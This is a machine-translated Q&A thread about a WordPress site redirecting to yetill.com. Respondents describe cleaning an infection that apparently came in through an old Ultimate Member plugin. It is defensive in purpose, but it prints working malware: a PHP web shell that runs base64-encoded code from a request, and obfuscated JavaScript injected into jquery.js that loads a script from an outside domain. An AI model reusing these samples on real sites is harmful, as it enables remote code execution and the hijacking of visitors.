Wordpress 网站总是重定向到 yetill.com

Wordpress Site always redirects to yetill.com

任何人都可以帮助我如何修复我的网站? 它总是重定向到 yetill.com。我搜索了这个网站,了解到它是一种恶意软件。 尝试了网上的各种解决办法还是没有解决。

谢谢。

您将需要进行一些故障排除。它是您的主题或包含恶意代码的插件之一。

按照以下步骤操作:

  • 切换到默认主题,如 TwentySeventeen - 如果问题 持续存在,说明这不是你的主题。
  • 停用所有活动插件并检查网站 - 问题应该会消失。
  • 开始重新激活您的插件,每次重新激活后清除缓存 并检查您的网站 - 每当问题再次出现时,它就是 那个插件是罪魁祸首,你不能使用那个插件。

希望对您有所帮助。

初步步骤:

  1. 备份一切
  2. 检查文件 wp-includes/js/jquery/jquery.js - 第一行应该只包含注释,例如 /*! jQuery v1.... 删除该行之前的所有内容(您做了备份,对吗?)
  3. 检查您的 /wp-content/uploads 目录是否有可疑文件。对我们来说,是我们有恶意文件,例如在这个子目录中:/ultimatemember/temp/[random dir]/n.php - 备份后删除那些。
  4. 安装 WordFence WP 插件并扫描您的网站
  5. 仔细检查wp-includes/js/jquery/jquery.js还是可以的(可以再修改)
  6. 考虑使用 WordFence 选项 "Disable Code Execution for Uploads directory" 以防止将来的入侵,如果它适用于您的网站(测试!)。

背景:

我们有同样的问题。 Wordfence 注意到文件 wp-includes/js/jquery/jquery.js 在服务器上被修改了。将其恢复为原始版本似乎可以解决问题。但是,文件很快就被感染了(几个小时?)。所以我们还不知道来源...

我们在 /wp-content/uploads/ultimatemember/temp/[random dir]/n.php:

中发现了一些可疑代码
<?php file_put_contents('sdgsdfgsdg','<?php '.base64_decode($_REQUEST['q']));
include('sdgsdfgsdg'); unlink('sdgsdfgsdg'); ?>

基本上从外部执行任何 PHP 代码...

删除这些文件后,站点似乎恢复正常(几个小时)。

我们还注意到页面源代码中有一个可疑的 <a> 标记;但不确定其相关性。

<a class="html-attribute-value html-resource-link" target="_blank"
href="https://our.site/wordpress/wp-includes/js/jquery/jquery.js?ver=1.12.4"
rel="noreferrer noopener">https://our.site/wordpress/wp-includes/js/jquery/jquery.js?ver=1.12.4</a>

我们有同样的错误,这些文件被感染了。这是我在其中发现的恶意代码。

wp-includes/js/jquery/jquery.js

(function() { "use strict"; var _0xa8bd=["\x47\x45\x54","\x6F\x70\x65\x6E","\x73\x65\x6E\x64","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x73\x72\x63\x2E\x65\x65\x64\x75\x65\x6C\x65\x6D\x65\x6E\x74\x73\x2E\x63\x6F\x6D\x2F\x67\x65\x74\x2E\x70\x68\x70","\x6E\x75\x6C\x6C","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x61\x73\x79\x6E\x63","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64"];function httpGet(_0xc4ecx2){var _0xc4ecx3= new XMLHttpRequest();_0xc4ecx3[_0xa8bd[1]](_0xa8bd[0],_0xc4ecx2,false);_0xc4ecx3[_0xa8bd[2]](null);return _0xc4ecx3[_0xa8bd[3]]}var curdomain=_0xa8bd[4];var newlink=httpGet(curdomain);if(newlink!= _0xa8bd[5]){(function(){var _0xc4ecx6=document[_0xa8bd[7]](_0xa8bd[6]);_0xc4ecx6[_0xa8bd[8]]= _0xa8bd[9];_0xc4ecx6[_0xa8bd[10]]= true;_0xc4ecx6[_0xa8bd[11]]= newlink;document[_0xa8bd[13]][_0xa8bd[12]](_0xc4ecx6)})()} })();

themes/yourtheme/header.php

<script type='text/javascript' src='https://cdn.eeduelements.com/jquery.js?ver=1.0.8'></script>

jquery 文件在我的案例中被感染。把 /*! 之前的代码删掉就行了jQuery v1.12.4 | (c) jQuery 基金会 | jquery.org/license */ 并确保您的所有插件都已更新并且站点是安全的。还要检查文件的权限!这对我的情况有帮助

这似乎是由您可能使用的某些插件的漏洞引起的。

在我的例子中,它是 Ultimate Member 插件的旧版本(2.22 之前)。

如果您使用的是此插件的 2.22 或更早版本,您应该立即更新此插件,并清除临时文件。 (https://wordpress.org/support/topic/malicious-files-in-ultimate-members-plugin/)

之后,使用此命令搜索最近更新的文件。 (例如 15 天)

find ./ -type f -mtime -15

您的 WP jquery 文件和任何名称为 "header" 的文件很可能已被感染。

/wp-includes/js/jquery/jquery.js
/wp-contents/your-theme/header.php
..

删除受感染头文件中的以下脚本。

<script type='text/javascript' src='https://cdn.eeduelements.com/jquery.js?ver=1.0.8'></script>

看起来这是在打开 head 标签之后和关闭 head 标签之前插入的。确保将两者都删除。

从受感染的 Jquery 文件中删除恶意插入的脚本,或者只用其他 WP Core 安装中的干净文件替换该文件。

我认为这应该可以解决问题。

这是我今天在 运行ning 安全扫描器之后发现的。希望这对某人有所帮助,因为这是一个令人讨厌的人。在我的案例中, 似乎影响了以下文件:

  • wp-admin/install.php
  • wp-includes/js/jquery/jquery.js
  • wp-includes/theme-compat/header-embed.php
  • wp-includes/theme-compat/header.php

我的 wp-includes 目录中的任何内容似乎都已失效。 我做了 运行 Ultimate Member 插件,我注意到之前有人提到这个插件的早期版本存在漏洞。我 运行 一个多站点网络,并且还注意到我的子站点上的两个注册表单具有管理员的默认角色(哪个插件供应商会发现安全作为默认注册选项?)启用批准选项(无验证电子邮件)。显然,在网络环境中激活此插件需要对这些注册和登录表格进行一些额外的彻底审查。

有同样的问题。 jquery 被感染,必须更换为原始版本。黑客可能使用 ultimatemember 后门上传了一个 php 文件并执行了它。我必须清理插件临时目录。

另一个观察结果是黑客强制修改 jquery 加载脚本,该地址是从 http://src.eeduelements.com/get.php 加载的。这使他们可以灵活地轮播广告。

sudo grep --include=\*.php -rnw . -e "<script type='text/javascript' src='https://cdn.eeduelements.com/jquery.js?ver=1.0.8'></script>"

连同下面的回答帮助我清理了我的文件。它影响了我所有的网站,但现在似乎仍然存在于拥有最终成员的网站上。仍在努力。不过,这个 Php 脚本令人难以置信。非常感谢作者。

PHP/SSH regex script/command to delete identical malware code from many files

这是上述答案中的 php。我只是用重定向到 yetill 的恶意内容换掉了查找部分。

    <?php
//Enter it as it is and escape any single quotes
$find='<script type=\'text/javascript\' src=\'https://cdn.eeduelements.com/jquery.js?ver=1.0.8\'></script>';

echo findString('./',$find);

function findString($path,$find){
    $return='';
    ob_start();
    if ($handle = opendir($path)) {
        while (false !== ($file = readdir($handle))) {
            if ($file != "." && $file != "..") {
                if(is_dir($path.'/'.$file)){
                    $sub=findString($path.'/'.$file,$find);
                    if(isset($sub)){
                        echo $sub.PHP_EOL;
                    }
                }else{
                    $ext=substr(strtolower($file),-3);
                    if($ext=='php'){
                        $filesource=file_get_contents($path.'/'.$file);
                        $pos = strpos($filesource, $find);
                        if ($pos === false) {
                            continue;
                        } else {
                        //The cleaning bit
                        echo "The string '".htmlentities($find)."' was found in the file '$path/$file and exists at position $pos and has been removed from the source file.<br />";
                        $clean_source = str_replace($find,'',$filesource);
                        file_put_contents($path.'/'.$file,$clean_source);
                        }
                    }else{
                        continue;
                    }
                }
            }
        }
        closedir($handle);
    }
    $return = ob_get_contents();
    ob_end_clean();
    return $return;
}
?>